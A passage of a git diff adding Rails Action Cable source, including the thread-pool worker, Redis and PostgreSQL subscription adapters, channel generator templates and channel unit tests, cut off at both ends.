connections.map(&:statistics) + end + end + end +end diff --git a/actioncable/lib/action_cable/server/worker.rb b/actioncable/lib/action_cable/server/worker.rb new file mode 100644 index 0000000000..a638ff72e7 --- /dev/null +++ b/actioncable/lib/action_cable/server/worker.rb @@ -0,0 +1,71 @@ +require 'active_support/callbacks' +require 'active_support/core_ext/module/attribute_accessors_per_thread' +require 'concurrent' + +module ActionCable + module Server + # Worker used by Server.send_async to do connection work in threads. + class Worker # :nodoc: + include ActiveSupport::Callbacks + + thread_mattr_accessor :connection + define_callbacks :work + include ActiveRecordConnectionManagement + + attr_reader :executor + + def initialize(max_size: 5) + @executor = Concurrent::ThreadPoolExecutor.new( + min_threads: 1, + max_threads: max_size, + max_queue: 0, + ) + end + + # Stop processing work: any work that has not already started + # running will be discarded from the queue + def halt + @executor.kill + end + + def stopping? + @executor.shuttingdown? + end + + def work(connection) + self.connection = connection + + run_callbacks :work do + yield + end + ensure + self.connection = nil + end + + def async_invoke(receiver, method, *args, connection: receiver) + @executor.post do + invoke(receiver, method, *args, connection: connection) + end + end + + def invoke(receiver, method, *args, connection:) + work(connection) do + begin + receiver.send method, *args + rescue Exception => e + logger.error "There was an exception - #{e.class}(#{e.message})" + logger.error e.backtrace.join("\n") + + receiver.handle_exception if receiver.respond_to?(:handle_exception) + end + end + end + + private + + def logger + ActionCable.server.logger + end + end + end +end diff --git a/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb new file mode 100644 index 0000000000..c1e4aa8103 --- /dev/null +++ b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb @@ -0,0 +1,19 @@ +module ActionCable + module Server + class Worker + module ActiveRecordConnectionManagement + extend ActiveSupport::Concern + + included do + if defined?(ActiveRecord::Base) + set_callback :work, :around, :with_database_connections + end + end + + def with_database_connections + connection.logger.tag(ActiveRecord::Base.logger) { yield } + end + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter.rb b/actioncable/lib/action_cable/subscription_adapter.rb new file mode 100644 index 0000000000..72e62f3daf --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter.rb @@ -0,0 +1,8 @@ +module ActionCable + module SubscriptionAdapter + extend ActiveSupport::Autoload + + autoload :Base + autoload :SubscriberMap + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/async.rb b/actioncable/lib/action_cable/subscription_adapter/async.rb new file mode 100644 index 0000000000..10b3ac8cd8 --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/async.rb @@ -0,0 +1,27 @@ +require 'action_cable/subscription_adapter/inline' + +module ActionCable + module SubscriptionAdapter + class Async < Inline # :nodoc: + private + def new_subscriber_map + AsyncSubscriberMap.new(server.event_loop) + end + + class AsyncSubscriberMap < SubscriberMap + def initialize(event_loop) + @event_loop = event_loop + super() + end + + def add_subscriber(*) + @event_loop.post { super } + end + + def invoke_callback(*) + @event_loop.post { super } + end + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/base.rb b/actioncable/lib/action_cable/subscription_adapter/base.rb new file mode 100644 index 0000000000..796db5ffa3 --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/base.rb @@ -0,0 +1,28 @@ +module ActionCable + module SubscriptionAdapter + class Base + attr_reader :logger, :server + + def initialize(server) + @server = server + @logger = @server.logger + end + + def broadcast(channel, payload) + raise NotImplementedError + end + + def subscribe(channel, message_callback, success_callback = nil) + raise NotImplementedError + end + + def unsubscribe(channel, message_callback) + raise NotImplementedError + end + + def shutdown + raise NotImplementedError + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb b/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb new file mode 100644 index 0000000000..4735a4bfa8 --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb @@ -0,0 +1,79 @@ +require 'thread' + +gem 'em-hiredis', '~> 0.3.0' +gem 'redis', '~> 3.0' +require 'em-hiredis' +require 'redis' + +EventMachine.epoll if EventMachine.epoll? +EventMachine.kqueue if EventMachine.kqueue? + +module ActionCable + module SubscriptionAdapter + class EventedRedis < Base # :nodoc: + @@mutex = Mutex.new + + # Overwrite this factory method for EventMachine Redis connections if you want to use a different Redis connection library than EM::Hiredis. + # This is needed, for example, when using Makara proxies for distributed Redis. + cattr_accessor(:em_redis_connector) { ->(config) { EM::Hiredis.connect(config[:url]) } } + + # Overwrite this factory method for Redis connections if you want to use a different Redis connection library than Redis. + # This is needed, for example, when using Makara proxies for distributed Redis. + cattr_accessor(:redis_connector) { ->(config) { ::Redis.new(url: config[:url]) } } + + def initialize(*) + super + @redis_connection_for_broadcasts = @redis_connection_for_subscriptions = nil + end + + def broadcast(channel, payload) + redis_connection_for_broadcasts.publish(channel, payload) + end + + def subscribe(channel, message_callback, success_callback = nil) + redis_connection_for_subscriptions.pubsub.subscribe(channel, &message_callback).tap do |result| + result.callback { |reply| success_callback.call } if success_callback + end + end + + def unsubscribe(channel, message_callback) + redis_connection_for_subscriptions.pubsub.unsubscribe_proc(channel, message_callback) + end + + def shutdown + redis_connection_for_subscriptions.pubsub.close_connection + @redis_connection_for_subscriptions = nil + end + + private + def redis_connection_for_subscriptions + ensure_reactor_running + @redis_connection_for_subscriptions || @server.mutex.synchronize do + @redis_connection_for_subscriptions ||= self.class.em_redis_connector.call(@server.config.cable).tap do |redis| + redis.on(:reconnect_failed) do + @logger.error "[ActionCable] Redis reconnect failed." + end + + redis.on(:failed) do + @logger.error "[ActionCable] Redis connection has failed." + end + end + end + end + + def redis_connection_for_broadcasts + @redis_connection_for_broadcasts || @server.mutex.synchronize do + @redis_connection_for_broadcasts ||= self.class.redis_connector.call(@server.config.cable) + end + end + + def ensure_reactor_running + return if EventMachine.reactor_running? + @@mutex.synchronize do + Thread.new { EventMachine.run } unless EventMachine.reactor_running? + Thread.pass until EventMachine.reactor_running? + end + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/inline.rb b/actioncable/lib/action_cable/subscription_adapter/inline.rb new file mode 100644 index 0000000000..81357faead --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/inline.rb @@ -0,0 +1,35 @@ +module ActionCable + module SubscriptionAdapter + class Inline < Base # :nodoc: + def initialize(*) + super + @subscriber_map = nil + end + + def broadcast(channel, payload) + subscriber_map.broadcast(channel, payload) + end + + def subscribe(channel, callback, success_callback = nil) + subscriber_map.add_subscriber(channel, callback, success_callback) + end + + def unsubscribe(channel, callback) + subscriber_map.remove_subscriber(channel, callback) + end + + def shutdown + # nothing to do + end + + private + def subscriber_map + @subscriber_map || @server.mutex.synchronize { @subscriber_map ||= new_subscriber_map } + end + + def new_subscriber_map + SubscriberMap.new + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/postgresql.rb b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb new file mode 100644 index 0000000000..66c7852f6e --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb @@ -0,0 +1,107 @@ +gem 'pg', '~> 0.18' +require 'pg' +require 'thread' + +module ActionCable + module SubscriptionAdapter + class PostgreSQL < Base # :nodoc: + def initialize(*) + super + @listener = nil + end + + def broadcast(channel, payload) + with_connection do |pg_conn| + pg_conn.exec("NOTIFY #{pg_conn.escape_identifier(channel)}, '#{pg_conn.escape_string(payload)}'") + end + end + + def subscribe(channel, callback, success_callback = nil) + listener.add_subscriber(channel, callback, success_callback) + end + + def unsubscribe(channel, callback) + listener.remove_subscriber(channel, callback) + end + + def shutdown + listener.shutdown + end + + def with_connection(&block) # :nodoc: + ActiveRecord::Base.connection_pool.with_connection do |ar_conn| + pg_conn = ar_conn.raw_connection + + unless pg_conn.is_a?(PG::Connection) + raise 'ActiveRecord database must be Postgres in order to use the Postgres ActionCable storage adapter' + end + + yield pg_conn + end + end + + private + def listener + @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) } + end + + class Listener < SubscriberMap + def initialize(adapter, event_loop) + super() + + @adapter = adapter + @event_loop = event_loop + @queue = Queue.new + + @thread = Thread.new do + Thread.current.abort_on_exception = true + listen + end + end + + def listen + @adapter.with_connection do |pg_conn| + catch :shutdown do + loop do + until @queue.empty? + action, channel, callback = @queue.pop(true) + + case action + when :listen + pg_conn.exec("LISTEN #{pg_conn.escape_identifier channel}") + @event_loop.post(&callback) if callback + when :unlisten + pg_conn.exec("UNLISTEN #{pg_conn.escape_identifier channel}") + when :shutdown + throw :shutdown + end + end + + pg_conn.wait_for_notify(1) do |chan, pid, message| + broadcast(chan, message) + end + end + end + end + end + + def shutdown + @queue.push([:shutdown]) + Thread.pass while @thread.alive? + end + + def add_channel(channel, on_success) + @queue.push([:listen, channel, on_success]) + end + + def remove_channel(channel) + @queue.push([:unlisten, channel]) + end + + def invoke_callback(*) + @event_loop.post { super } + end + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/redis.rb b/actioncable/lib/action_cable/subscription_adapter/redis.rb new file mode 100644 index 0000000000..65434f7107 --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/redis.rb @@ -0,0 +1,172 @@ +require 'thread' + +gem 'redis', '~> 3.0' +require 'redis' + +module ActionCable + module SubscriptionAdapter + class Redis < Base # :nodoc: + # Overwrite this factory method for redis connections if you want to use a different Redis library than Redis. + # This is needed, for example, when using Makara proxies for distributed Redis. + cattr_accessor(:redis_connector) { ->(config) { ::Redis.new(url: config[:url]) } } + + def initialize(*) + super + @listener = nil + @redis_connection_for_broadcasts = nil + end + + def broadcast(channel, payload) + redis_connection_for_broadcasts.publish(channel, payload) + end + + def subscribe(channel, callback, success_callback = nil) + listener.add_subscriber(channel, callback, success_callback) + end + + def unsubscribe(channel, callback) + listener.remove_subscriber(channel, callback) + end + + def shutdown + @listener.shutdown if @listener + end + + def redis_connection_for_subscriptions + redis_connection + end + + private + def listener + @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) } + end + + def redis_connection_for_broadcasts + @redis_connection_for_broadcasts || @server.mutex.synchronize do + @redis_connection_for_broadcasts ||= redis_connection + end + end + + def redis_connection + self.class.redis_connector.call(@server.config.cable) + end + + class Listener < SubscriberMap + def initialize(adapter, event_loop) + super() + + @adapter = adapter + @event_loop = event_loop + + @subscribe_callbacks = Hash.new { |h, k| h[k] = [] } + @subscription_lock = Mutex.new + + @raw_client = nil + + @when_connected = [] + + @thread = nil + end + + def listen(conn) + conn.without_reconnect do + original_client = conn.client + + conn.subscribe('_action_cable_internal') do |on| + on.subscribe do |chan, count| + @subscription_lock.synchronize do + if count == 1 + @raw_client = original_client + + until @when_connected.empty? + @when_connected.shift.call + end + end + + if callbacks = @subscribe_callbacks[chan] + next_callback = callbacks.shift + @event_loop.post(&next_callback) if next_callback + @subscribe_callbacks.delete(chan) if callbacks.empty? + end + end + end + + on.message do |chan, message| + broadcast(chan, message) + end + + on.unsubscribe do |chan, count| + if count == 0 + @subscription_lock.synchronize do + @raw_client = nil + end + end + end + end + end + end + + def shutdown + @subscription_lock.synchronize do + return if @thread.nil? + + when_connected do + send_command('unsubscribe') + @raw_client = nil + end + end + + Thread.pass while @thread.alive? + end + + def add_channel(channel, on_success) + @subscription_lock.synchronize do + ensure_listener_running + @subscribe_callbacks[channel] << on_success + when_connected { send_command('subscribe', channel) } + end + end + + def remove_channel(channel) + @subscription_lock.synchronize do + when_connected { send_command('unsubscribe', channel) } + end + end + + def invoke_callback(*) + @event_loop.post { super } + end + + private + def ensure_listener_running + @thread ||= Thread.new do + Thread.current.abort_on_exception = true + + conn = @adapter.redis_connection_for_subscriptions + listen conn + end + end + + def when_connected(&block) + if @raw_client + block.call + else + @when_connected << block + end + end + + def send_command(*command) + @raw_client.write(command) + + very_raw_connection = + @raw_client.connection.instance_variable_defined?(:@connection) && + @raw_client.connection.instance_variable_get(:@connection) + + if very_raw_connection && very_raw_connection.respond_to?(:flush) + very_raw_connection.flush + end + end + end + end + end +end diff --git a/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb new file mode 100644 index 0000000000..37eed09793 --- /dev/null +++ b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb @@ -0,0 +1,53 @@ +module ActionCable + module SubscriptionAdapter + class SubscriberMap + def initialize + @subscribers = Hash.new { |h,k| h[k] = [] } + @sync = Mutex.new + end + + def add_subscriber(channel, subscriber, on_success) + @sync.synchronize do + new_channel = !@subscribers.key?(channel) + + @subscribers[channel] << subscriber + + if new_channel + add_channel channel, on_success + elsif on_success + on_success.call + end + end + end + + def remove_subscriber(channel, subscriber) + @sync.synchronize do + @subscribers[channel].delete(subscriber) + + if @subscribers[channel].empty? + @subscribers.delete channel + remove_channel channel + end + end + end + + def broadcast(channel, message) + list = @sync.synchronize { @subscribers[channel].dup } + list.each do |subscriber| + invoke_callback(subscriber, message) + end + end + + def add_channel(channel, on_success) + on_success.call if on_success + end + + def remove_channel(channel) + end + + def invoke_callback(callback, message) + callback.call message + end + end + end +end diff --git a/actioncable/lib/action_cable/version.rb b/actioncable/lib/action_cable/version.rb new file mode 100644 index 0000000000..e17877202b --- /dev/null +++ b/actioncable/lib/action_cable/version.rb @@ -0,0 +1,8 @@ +require_relative 'gem_version' + +module ActionCable + # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt> + def self.version + gem_version + end +end diff --git a/actioncable/lib/rails/generators/channel/USAGE b/actioncable/lib/rails/generators/channel/USAGE new file mode 100644 index 0000000000..6249553c22 --- /dev/null +++ b/actioncable/lib/rails/generators/channel/USAGE @@ -0,0 +1,14 @@ +Description: +============ + Stubs out a new cable channel for the server (in Ruby) and client (in CoffeeScript). + Pass the channel name, either CamelCased or under_scored, and an optional list of channel actions as arguments. + + Note: Turn on the cable connection in app/assets/javascript/cable.js after generating any channels. + +Example: +======== + rails generate channel Chat speak + + creates a Chat channel class and CoffeeScript asset: + Channel: app/channels/chat_channel.rb + Assets: app/assets/javascript/channels/chat.coffee diff --git a/actioncable/lib/rails/generators/channel/channel_generator.rb b/actioncable/lib/rails/generators/channel/channel_generator.rb new file mode 100644 index 0000000000..05fd21a954 --- /dev/null +++ b/actioncable/lib/rails/generators/channel/channel_generator.rb @@ -0,0 +1,46 @@ +module Rails + module Generators + class ChannelGenerator < NamedBase + source_root File.expand_path("../templates", __FILE__) + + argument :actions, type: :array, default: [], banner: "method method" + + class_option :assets, type: :boolean + + check_class_collision suffix: "Channel" + + def create_channel_file + template "channel.rb", File.join('app/channels', class_path, "#{file_name}_channel.rb") + + if options[:assets] + if self.behavior == :invoke + template "assets/cable.js", "app/assets/javascripts/cable.js" + end + template "assets/channel.coffee", File.join('app/assets/javascripts/channels', class_path, "#{file_name}.coffee") + end + + generate_application_cable_files + end + + protected + def file_name + @_file_name ||= super.gsub(/_channel/i, '') + end + + # FIXME: Change these files to symlinks once RubyGems 2.5.0 is required. + def generate_application_cable_files + return if self.behavior != :invoke + + files = [ + 'application_cable/channel.rb', + 'application_cable/connection.rb' + ] + + files.each do |name| + path = File.join('app/channels/', name) + template(name, path) if !File.exist?(path) + end + end + end + end +end diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb new file mode 100644 index 0000000000..d56fa30f4d --- /dev/null +++ b/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. Action Cable runs in a loop that does not support auto reloading. +module ApplicationCable + class Channel < ActionCable::Channel::Base + end +end diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb new file mode 100644 index 0000000000..b4f41389ad --- /dev/null +++ b/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. Action Cable runs in a loop that does not support auto reloading. +module ApplicationCable + class Connection < ActionCable::Connection::Base + end +end diff --git a/actioncable/lib/rails/generators/channel/templates/assets/cable.js b/actioncable/lib/rails/generators/channel/templates/assets/cable.js new file mode 100644 index 0000000000..71ee1e66de --- /dev/null +++ b/actioncable/lib/rails/generators/channel/templates/assets/cable.js @@ -0,0 +1,13 @@ +// Action Cable provides the framework to deal with WebSockets in Rails. +// You can generate new channels where WebSocket features live using the rails generate channel command. +// +//= require action_cable +//= require_self +//= require_tree ./channels + +(function() { + this.App || (this.App = {}); + + App.cable = ActionCable.createConsumer(); + +}).call(this); diff --git a/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee b/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee new file mode 100644 index 0000000000..5467811aba --- /dev/null +++ b/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee @@ -0,0 +1,14 @@ +App.<%= class_name.underscore %> = App.cable.subscriptions.create "<%= class_name %>Channel", + connected: -> + # Called when the subscription is ready for use on the server + + disconnected: -> + # Called when the subscription has been terminated by the server + + received: (data) -> + # Called when there's incoming data on the websocket for this channel +<% actions.each do |action| -%> + + <%= action %>: -> + @perform '<%= action %>' +<% end -%> diff --git a/actioncable/lib/rails/generators/channel/templates/channel.rb b/actioncable/lib/rails/generators/channel/templates/channel.rb new file mode 100644 index 0000000000..7bff3341c1 --- /dev/null +++ b/actioncable/lib/rails/generators/channel/templates/channel.rb @@ -0,0 +1,17 @@ +# Be sure to restart your server when you modify this file. Action Cable runs in a loop that does not support auto reloading. +<% module_namespacing do -%> +class <%= class_name %>Channel < ApplicationCable::Channel + def subscribed + # stream_from "some_channel" + end + + def unsubscribed + # Any cleanup needed when channel is unsubscribed + end +<% actions.each do |action| -%> + + def <%= action %> + end +<% end -%> +end +<% end -%> diff --git a/actioncable/package.json b/actioncable/package.json new file mode 100644 index 0000000000..37f82fa1ea --- /dev/null +++ b/actioncable/package.json @@ -0,0 +1,24 @@ +{ + "name": "actioncable", + "version": "5.0.0-rc1", + "description": "WebSocket framework for Ruby on Rails.", + "main": "lib/assets/compiled/action_cable.js", + "files": [ + "lib/assets/compiled/*.js" + ], + "repository": { + "type": "git", + "url": "rails/rails" + }, + "keywords": [ + "websockets", + "actioncable", + "rails" + ], + "author": "David Heinemeier Hansson <david@loudthinking.com>", + "license": "MIT", + "bugs": { + "url": "https://github.com/rails/rails/issues" + }, + "homepage": "http://rubyonrails.org/" +} diff --git a/actioncable/test/channel/base_test.rb b/actioncable/test/channel/base_test.rb new file mode 100644 index 0000000000..daa782eeb3 --- /dev/null +++ b/actioncable/test/channel/base_test.rb @@ -0,0 +1,259 @@ +require 'test_helper' +require 'stubs/test_connection' +require 'stubs/room' + +class ActionCable::Channel::BaseTest < ActiveSupport::TestCase + class ActionCable::Channel::Base + def kick + @last_action = [ :kick ] + end + + def topic + end + end + + class BasicChannel < ActionCable::Channel::Base + def chatters + @last_action = [ :chatters ] + end + end + + class ChatChannel < BasicChannel + attr_reader :room, :last_action + after_subscribe :toggle_subscribed + after_unsubscribe :toggle_subscribed + + def initialize(*) + @subscribed = false + super + end + + def subscribed + @room = Room.new params[:id] + @actions = [] + end + + def unsubscribed + @room = nil + end + + def toggle_subscribed + @subscribed = !@subscribed + end + + def leave + @last_action = [ :leave ] + end + + def speak(data) + @last_action = [ :speak, data ] + end + + def topic(data) + @last_action = [ :topic, data ] + end + + def subscribed? + @subscribed + end + + def get_latest + transmit data: 'latest' + end + + def receive + @last_action = [ :receive ] + end + + private + def rm_rf + @last_action = [ :rm_rf ] + end + end + + setup do + @user = User.new "lifo" + @connection = TestConnection.new(@user) + @channel = ChatChannel.new @connection, "{id: 1}", { id: 1 } + end + + test "should subscribe to a channel on initialize" do + assert_equal 1, @channel.room.id + end + + test "on subscribe callbacks" do + assert @channel.subscribed + end + + test "channel params" do + assert_equal({ id: 1 }, @channel.params) + end + + test "unsubscribing from a channel" do + assert @channel.room + assert @channel.subscribed? + + @channel.unsubscribe_from_channel + + assert ! @channel.room + assert ! @channel.subscribed? + end + + test "connection identifiers" do + assert_equal @user.name, @channel.current_user.name + end + + test "callable action without any argument" do + @channel.perform_action 'action' => :leave + assert_equal [ :leave ], @channel.last_action + end + + test "callable action with arguments" do + data = { 'action' => :speak, 'content' => "Hello World" } + + @channel.perform_action data + assert_equal [ :speak, data ], @channel.last_action + end + + test "should not dispatch a private method" do + @channel.perform_action 'action' => :rm_rf + assert_nil @channel.last_action + end + + test "should not dispatch a public method defined on Base" do + @channel.perform_action 'action' => :kick + assert_nil @channel.last_action + end + + test "should dispatch a public method defined on Base and redefined on channel" do + data = { 'action' => :topic, 'content' => "This is Sparta!" } + + @channel.perform_action data + assert_equal [ :topic, data ], @channel.last_action + end + + test "should dispatch calling a public method defined in an ancestor" do + @channel.perform_action 'action' => :chatters + assert_equal [ :chatters ], @channel.last_action + end + + test "should dispatch receive action when perform_action is called with empty action" do + data = { 'content' => 'hello' } + @channel.perform_action data + assert_equal [ :receive ], @channel.last_action + end + + test "transmitting data" do + @channel.perform_action 'action' => :get_latest + + expected = { "identifier" => "{id: 1}", "message" => { "data" => "latest" }} + assert_equal expected, @connection.last_transmission + end + + test "subscription confirmation" do + expected = { "identifier" => "{id: 1}", "type" => "confirm_subscription" } + assert_equal expected, @connection.last_transmission + end + + test "actions available on Channel" do + available_actions = %w(room last_action subscribed unsubscribed toggle_subscribed leave speak subscribed? get_latest receive chatters topic).to_set + assert_equal available_actions, ChatChannel.action_methods + end + + test "invalid action on Channel" do + assert_logged("Unable to process ActionCable::Channel::BaseTest::ChatChannel#invalid_action") do + @channel.perform_action 'action' => :invalid_action + end + end + + test "notification for perform_action" do + begin + events = [] + ActiveSupport::Notifications.subscribe "perform_action.action_cable" do |*args| + events << ActiveSupport::Notifications::Event.new(*args) + end + + data = {'action' => :speak, 'content' => 'hello'} + @channel.perform_action data + + assert_equal 1, events.length + assert_equal 'perform_action.action_cable', events[0].name + assert_equal 'ActionCable::Channel::BaseTest::ChatChannel', events[0].payload[:channel_class] + assert_equal :speak, events[0].payload[:action] + assert_equal data, events[0].payload[:data] + ensure + ActiveSupport::Notifications.unsubscribe "perform_action.action_cable" + end + end + + test "notification for transmit" do + begin + events = [] + ActiveSupport::Notifications.subscribe 'transmit.action_cable' do |*args| + events << ActiveSupport::Notifications::Event.new(*args) + end + + @channel.perform_action 'action' => :get_latest + expected_data = {data: 'latest'} + + assert_equal 1, events.length + assert_equal 'transmit.action_cable', events[0].name + assert_equal 'ActionCable::Channel::BaseTest::ChatChannel', events[0].payload[:channel_class] + assert_equal expected_data, events[0].payload[:data] + assert_nil events[0].payload[:via] + ensure + ActiveSupport::Notifications.unsubscribe 'transmit.action_cable' + end + end + + test "notification for transmit_subscription_confirmation" do + begin + events = [] + ActiveSupport::Notifications.subscribe 'transmit_subscription_confirmation.action_cable' do |*args| + events << ActiveSupport::Notifications::Event.new(*args) + end + + @channel.stubs(:subscription_confirmation_sent?).returns(false) + @channel.send(:transmit_subscription_confirmation) + + assert_equal 1, events.length + assert_equal 'transmit_subscription_confirmation.action_cable', events[0].name + assert_equal 'ActionCable::Channel::BaseTest::ChatChannel', events[0].payload[:channel_class] + ensure + ActiveSupport::Notifications.unsubscribe 'transmit_subscription_confirmation.action_cable' + end + end + + test "notification for transmit_subscription_rejection" do + begin + events = [] + ActiveSupport::Notifications.subscribe 'transmit_subscription_rejection.action_cable' do |*args| + events << ActiveSupport::Notifications::Event.new(*args) + end + + @channel.send(:transmit_subscription_rejection) + + assert_equal 1, events.length + assert_equal 'transmit_subscription_rejection.action_cable', events[0].name + assert_equal 'ActionCable::Channel::BaseTest::ChatChannel', events[0].payload[:channel_class] + ensure + ActiveSupport::Notifications.unsubscribe 'transmit_subscription_rejection.action_cable' + end + end + + private + def assert_logged(message) + old_logger = @connection.logger + log = StringIO.new + @connection.instance_variable_set(:@logger, Logger.new(log)) + + begin + yield + + log.rewind + assert_match message, log.read + ensure + @connection.instance_variable_set(:@logger, old_logger) + end + end +end diff --git a/actioncable/test/channel/broadcasting_test.rb b/actioncable/test/channel/broadcasting_test.rb new file mode 100644 index 0000000000..1de04243e5 --- /dev/null +++ b/actioncable/test/channel/broadcasting_test.rb @@ -0,0 +1,29 @@ +require 'test_helper' +require 'stubs/test_connection' +require 'stubs/room' + +class ActionCable::Channel::BroadcastingTest < ActiveSupport::TestCase + class ChatChannel < ActionCable::Channel::Base + end + + setup do + @connection = TestConnection.new + end + + test "broadcasts_to" do + ActionCable.stubs(:server).returns mock().tap { |m| m.expects(:broadcast).with('action_cable:channel:broadcasting_test:chat:Room#1-Campfire', "Hello World") } + ChatChannel.broadcast_to(Room.new(1), "Hello World") + end + + test "broadcasting_for with an object" do + assert_equal "Room#1-Campfire", ChatChannel.broadcasting_for(Room.new(1)) + end + + test "broadcasting_for with an array" do + assert_equal "Room#1-Campfire:Room#2-Campfire", ChatChannel.broadcasting_for([ Room.new(1), Room.new(2) ]) + end + + test "broadcasting_for with a string" do + assert_equal "hello", ChatChannel.broadcasting_for("hello") + end +end diff --git a/actioncable/test/channel/naming_test.rb b/actioncable/test/channel/naming_test.rb new file mode 100644 index 0000000000..89ef6ad8b0 --- /dev/null +++ b/actioncable/test/channel/naming_test.rb @@ -0,0 +1,10 @@ +require 'test_helper' + +class ActionCable::Channel::NamingTest < ActiveSupport::TestCase + class ChatChannel < ActionCable::Channel::Base + end + + test "channel_name" do + assert_equal "action_cable:channel:naming_test:chat", ChatChannel.channel_name + end +end diff --git a/actioncable/test/channel/periodic_timers_test.rb b/actioncable/test/channel/periodic_timers_test.rb new file mode 100644 index 0000000000..03464003cf --- /dev/null +++ b/actioncable/test/channel/periodic_timers_test.rb @@ -0,0 +1,68 @@ +require 'test_helper' +require 'stubs/test_connection' +require 'stubs/room' +require 'active_support/time' + +class ActionCable::Channel::PeriodicTimersTest < ActiveSupport::TestCase + class ChatChannel < ActionCable::Channel::Base + # Method name arg + periodically :send_updates, every: 1 + + # Proc arg + periodically -> { ping }, every: 2 + + # Block arg + periodically every: 3 do + ping + end + + private + def ping + end + end + + setup do + @connection = TestConnection.new + end + + test "periodic timers definition" do + timers = ChatChannel.periodic_timers + + assert_equal 3, timers.size + + timers.each_with_index do |timer, i| + assert_kind_of Proc, timer[0] + assert_equal i+1, timer[1][:every] + end + end + + test 'disallow negative and zero periods' do + [ 0, 0.0, 0.seconds, -1, -1.seconds, 'foo', :foo, Object.new ].each do |invalid| + assert_raise ArgumentError, /Expected every:/ do + ChatChannel.periodically :send_updates, every: invalid + end + end + end + + test 'disallow block and arg together' do + assert_raise ArgumentError, /not both/ do + ChatChannel.periodically(:send_updates, every: 1) { ping } + end + end + + test 'disallow unknown args' do + [ 'send_updates', Object.new, nil ].each do |invalid| + assert_raise ArgumentError, /Expected a Symbol/ do + ChatChannel.periodically invalid, every: 1 + end + end + end + + test "timer start and stop" do + @connection.server.event_loop.expects(:timer).times(3).returns(stub(shutdown: nil)) + channel = ChatChannel.new @connection, "{id: 1}", { id: 1 } + + channel.unsubscribe_from_channel + assert_equal [], channel.send(:active_periodic_timers) + end +end diff --git a/actioncable/test/channel/rejection_test.rb b/actioncable/test/channel/rejection_test.rb new file mode 100644 index 0000000000..15db57d6ba --- /dev/null +++ b/actioncable/test/channel/rejection_test.rb @@ -0,0 +1,25 @@ +require 'test_helper' +require 'stubs/test_connection' +require 'stubs/room' + +class ActionCable::Channel::RejectionTest < ActiveSupport::TestCase + class SecretChannel < ActionCable::Channel::Base + def subscribed + reject if params[:id] > 0 + end + end + + setup do + @user = User.new "lifo" + @connection = TestConnection.new(@user) + end + + test "subscription rejection" do + @connection.expects(:subscriptions).returns mock().tap { |m| m.expects(:remove_subscription).with instance_of(SecretChannel) } + @channel = SecretChannel.new @connection, "{id: 1}", { id: 1 } + + expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" } + assert_equal expected, @connection.last_transmission + end + +end diff --git a/actioncable/test/channel/stream_test.rb b/actioncable/test/channel/stream_test.rb new file mode 100644 index 0000000000..0b0c72ccf6 --- /dev/null +++ b/actioncable/test/channel/stream_test.rb @@ -0,0 +1,183 @@ +require 'test_helper' +require 'stubs/test_connection' +require 'stubs/room' + +module ActionCable::StreamTests + class Connection < ActionCable::Connection::Base + attr_reader :websocket + + def send_async(method, *args) + send method, *args + end + end + + class ChatChannel < ActionCable::Channel::Base + def subscribed + if params[:id] + @room = Room.new params[:id] + stream_from "test_room_#{@room.id}", coder: pick_coder(params[:coder]) + end + end + + def send_confirmation + transmit_subscription_confirmation + end + + private def pick_coder(coder) + case coder + when nil, 'json' + ActiveSupport::JSON + when 'custom' + DummyEncoder + when 'none' + nil + end + end + end + + module DummyEncoder + extend self + def encode(*) '{ "foo": "encoded" }' end + def decode(*) { foo: 'decoded' } end + end + + class SymbolChannel < ActionCable::Channel::Base + def subscribed + stream_from :channel + end + end + + class StreamTest < ActionCable::TestCase + test "streaming start and stop" do + run_in_eventmachine do + connection = TestConnection.new + connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("test_room_1", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) } + channel = ChatChannel.new connection, "{id: 1}", { id: 1 } + + connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) } + channel.unsubscribe_from_channel + end + end + + test "stream from non-string channel" do + run_in_eventmachine do + connection = TestConnection.new + connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("channel", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) } + channel = SymbolChannel.new connection, "" + + connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) } + channel.unsubscribe_from_channel + end + end + + test "stream_for" do + run_in_eventmachine do + connection = TestConnection.new + 